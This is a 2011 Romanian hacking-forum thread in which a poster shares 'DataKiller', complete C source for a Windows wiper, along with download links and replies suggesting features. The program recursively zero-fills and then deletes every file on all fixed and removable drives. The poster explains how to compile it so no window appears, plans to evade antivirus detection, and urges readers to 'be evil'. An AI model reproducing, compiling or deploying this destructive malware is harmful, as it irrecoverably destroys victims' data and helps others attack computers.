Nytro Posted August 20, 2011 Report Posted August 20, 2011 Nume: DataKillerDescriere: Sterge toate fisiereleAutor: Grupul C/C++ Coder @ Romanian Security TeamMarime: 8.5 KBAtentie! Nu rulati acest executabil, va incerca sa stearga toate fisierele!O descriere mai amanantita: acum ceva timp, mi-a cerut cineva un astfel de program si mi s-a parut o idee interesanta. Este a doua versiune, am de gand sa ii pun cateva optiuni utile (sa stearga doar pozele de exemplu). Ce e nou:- Safe File DeleteNu e nimic complicat, dar poate fi foarte util. Singurul lucru pe care il face e sa inlocuiasca toate datele din fisierele care urmeaza sa fie sterge cu NULL. Astfel, un fisier ce contine "aaa", va contine "NULL,NULL,NULL" apoi va fi sters. In caz ca nu stiati, cand dati Delete la un fisier, datele din fisier nu sunt sterse, ci e stearsa doar legatura catre acel fisier, dar datele raman pe hard disk si pot fi recuperate partial sau total. Cu aceasta optiune, nu vor mai putea fi recuperate, insa executia programului va fi MULT mai lunga si va consuma mai multe resurse. Va dura peste 30 de minute, depinde de marimea si nr. fisierelor de pe calculator. Eu estimez ca ar dura cam 1-2 ore o executie.Si oricum am cateva idei de viitor. E singura optiune implementata, dar dupa cum se vede in sursa mai am cateva idei de pus in aplicare.Codul sursa nu are rost sa il ascund, problema ar fi faptul ca nu e extraodrinar scris, nu m-am straduit sa fac optimizari.DataKiller.c/* Name: DataKiller.c Description: Delete all deleteable files Authors: Grupul C/C++ Coder @ Romanian Security Team Info: Nu toate optiunile au fost implementate*/#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/* Setari definite de utilizator - puteti sa modificati valorile */int safe_file_delete = 1; /* "-[n]sf" Sterge fisierul fara sa poata fi recuperat */int safe_delete_file_info = 0; /* "-[n]si" Sterge si informatiile despre fisier */int delete_all_files = 1; /* "-[n]da" Sterge toate fisierele */int delete_all_images = 1; /* "-[n]di" Sterge toate imaginile */int delete_all_media = 1; /* "-[n]dm" Sterge toate melodiile, videoclipurile */int delete_all_documents = 1; /* "-[n]dd" Sterge toate documentele */int exclude_windows_partition = 0; /* "-[n]ew" Nu sterge nimic de pe partita cu Windows-ul *//* Marimi buffere */#define VOLNAME_SIZE 4#define VOLBUFFER_SIZE 1337#define DIRBUFFER_SIZE 255#define FILENAME_SIZE 31337/* Contoare pentru nr. de fisiere si de foldere - statistici */int nr_files = 0;int nr_directories = 0;int deleted_files = 0;int deleted_directories = 0;/* Functia inlocuieste datele dintr-un fisier cu 0 (NULL) */void NullFile(const char *fisier){ HANDLE hFisier = NULL; DWORD file_size = 0; DWORD file_size_2 = 0, written = 0; unsigned char *buf = NULL; SetFileAttributes(fisier, FILE_ATTRIBUTE_NORMAL); hFisier = CreateFile(fisier, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_NORMAL | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, NULL); if(hFisier != INVALID_HANDLE_VALUE) { file_size = GetFileSize(hFisier, &file_size_2); /* NULL-uim fisierul, ca sa nu poata fi recuperate datele */ buf = (unsigned char *)malloc(file_size); memset(buf, 0, file_size); WriteFile(hFisier, buf, file_size, &written, NULL); free(buf); CloseHandle(hFisier); }}/* Functie recursiva, sterge folderele si fisierele */void DeleteFiles(char *directory){ WIN32_FIND_DATA file_data; HANDLE hFisier; int new_file = 1; char dir_buffer[DIRBUFFER_SIZE] = {0}; char file_name[FILENAME_SIZE] = {0}; char new_dir[DIRBUFFER_SIZE] = {0}; /* Formam sirul de caractere pentru FindFirstFile */ memset(&file_data, 0, sizeof(WIN32_FIND_DATA)); sprintf(dir_buffer, "%s*", directory); hFisier = FindFirstFile(dir_buffer, &file_data); /* Parcurgem folderul */ while(hFisier != INVALID_HANDLE_VALUE && new_file) { sprintf(file_name, "%s%s", directory, file_data.cFileName); /* Daca e folder */ if(GetFileAttributes(file_name) & ~(FILE_ATTRIBUTE_DIRECTORY ^ 0xFFFFFFFF) && (GetFileAttributes(file_name) != (unsigned)-1)) { sprintf(new_dir, "%s\\", file_name); /* Evitam "." si ".." */ if(file_name[strlen(file_name) - 1] != '.') { nr_directories++; DeleteFiles(new_dir); if(RemoveDirectory(new_dir)) deleted_directories++; } } /* Daca e fisier */ else { nr_files++; if(safe_file_delete) NullFile(file_name); if(DeleteFile(file_name)) deleted_files++; } /* Trecem la urmatorul fisier/folder */ new_file = FindNextFile(hFisier, &file_data); } FindClose(hFisier);}int main(int argc, char *argv[]){ char *dir_buffer = NULL; char **drives = NULL; int dir_buf_size = 0, nr_drives = 0, i = 0, a = 0; /* Verificam parametrii din linia de comanda */ if(argc > 1) { for(a = 1; a < argc; a++) { /* Luam fiecare parametru in parte */ if(strcmp(argv[a], "-sf") == 0) safe_file_delete = 1; else if(strcmp(argv[a], "-nsf") == 0) safe_file_delete = 0; else if(strcmp(argv[a], "-si") == 0) safe_delete_file_info = 1; else if(strcmp(argv[a], "-nsi") == 0) safe_delete_file_info = 0; else if(strcmp(argv[a], "-da") == 0) delete_all_files = 1; else if(strcmp(argv[a], "-nda") == 0) delete_all_files = 0; else if(strcmp(argv[a], "-di") == 0) delete_all_images = 1; else if(strcmp(argv[a], "-ndi") == 0) delete_all_images = 0; else if(strcmp(argv[a], "-dm") == 0) delete_all_media = 1; else if(strcmp(argv[a], "-ndm") == 0) delete_all_media = 0; else if(strcmp(argv[a], "-dd") == 0) delete_all_documents = 1; else if(strcmp(argv[a], "-ndd") == 0) delete_all_documents = 0; else if(strcmp(argv[a], "-ew") == 0) exclude_windows_partition = 1; else if(strcmp(argv[a], "-new") == 0) exclude_windows_partition = 0; } } /* Alocam memorie */ dir_buffer = (char *)malloc(VOLBUFFER_SIZE); dir_buf_size = GetLogicalDriveStrings(VOLBUFFER_SIZE, dir_buffer); nr_drives = dir_buf_size / VOLNAME_SIZE; drives = (char **)malloc(sizeof(char *) * nr_drives); /* Parcurgem volumele */ for(i = 0; i < dir_buf_size / VOLNAME_SIZE; i++) { drives[i] = (char *)malloc(VOLNAME_SIZE); strncpy(drives[i], dir_buffer + i * VOLNAME_SIZE, VOLNAME_SIZE); printf("Drive: %s: %d\n", drives[i], GetDriveType(drives[i])); if(GetDriveType(drives[i]) == DRIVE_FIXED || GetDriveType(drives[i]) == DRIVE_REMOVABLE) DeleteFiles(drives[i]); } printf("Foldere: %d\nFisiere: %d\n", nr_directories, nr_files); printf("Foldere sterse: %d\nFisiere sterse: %d\n", deleted_directories, deleted_files); /* Eliberam memoria */ for(i = 0; i < nr_drives; i++) free(drives[i]); free(drives); free(dir_buffer); return 0;}Pastebin: [C] DataKiller.c - Pastebin.comDaca vreti sa il compilati, compilati-l cu optiunea "-mwindows" pentru linker, astfel incat sa nu se deschida CMD-ul cand va fi rulat. Eu l-am compilat si cu optimizari pentru marime "-s" si "-Os".Utilizare? Cred ca o sa ii gasiti voi una, cred ca vor fi destui care il vor gasi "util".Partea nasoala, din cate observ, e ca e detectabil...http://www.virustotal.com/file-scan/report.html?id=b0d3d314fa0de3e4041e16525017a7960641a089cd7bf5a887ccb9ec53d935df-1313949171O sa lucrez si la acest aspect. Ideea e ca il puteti compila din sursa, sa nu credeti ca am postat altceva.Download:http://www.girlshare.ro/2529741.5http://www.speedyshare.com/files/29969756/DataKiller.exehttp://www.megaupload.com/?d=S88LSQH1http://www.mediafire.com/?ti4gvi9nnj7g91qhttp://www.multiupload.com/DOTY3PVTX3Stiu, e banal, stupid si non-etic, eu nu am nevoie de asa ceva dar unii poate au nevoie.Fiti rai! Quote
phantomas90 Posted August 20, 2011 Report Posted August 20, 2011 din cate ai zis v2 o sa faca furori. pune si aici ceva idei, poate se gaseste cineva sa ajute! Quote
Nytro Posted August 20, 2011 Author Report Posted August 20, 2011 Nu "o sa faca furori", doar ca va fi mai complex si mai util.Astept idei si sugestii, cat despre implementare, vor putea sa contribuie cei din grupul C/C++ coder. Quote
The Dev!L Posted August 21, 2011 Report Posted August 21, 2011 Good Jop Nytro Keep Go with Best Wishes Quote
parazitul29 Posted August 21, 2011 Report Posted August 21, 2011 o idee ar fii sa nu se atinga de fisierele windows-ului sau sa se permita alegerea folderelor care vor fi sterse sau fisierele care au structura la fel chestii care sunt usor de implementat Quote
Nytro Posted August 21, 2011 Author Report Posted August 21, 2011 La optiunea de excludere a partitiei cu Windows m-am gandit. Dar pot fi si alte fisiere pe acolo. Cred ca voi pune optiune de ocolire ?:/Windows si ?:/Program Files, ca in Documents And Settings se mai afla date, la fel si /Users pe Windows 7. Dar cred ca ma complic degeaba.O sa ma mai gandesc si cand mai am timp liber mai lucrez la el. Quote
Nytro Posted August 21, 2011 Author Report Posted August 21, 2011 Update:DataKiller v0.2Ce e nou:- Safe file deleteVedeti primul post pentru mai multe informatii. 1 1 Quote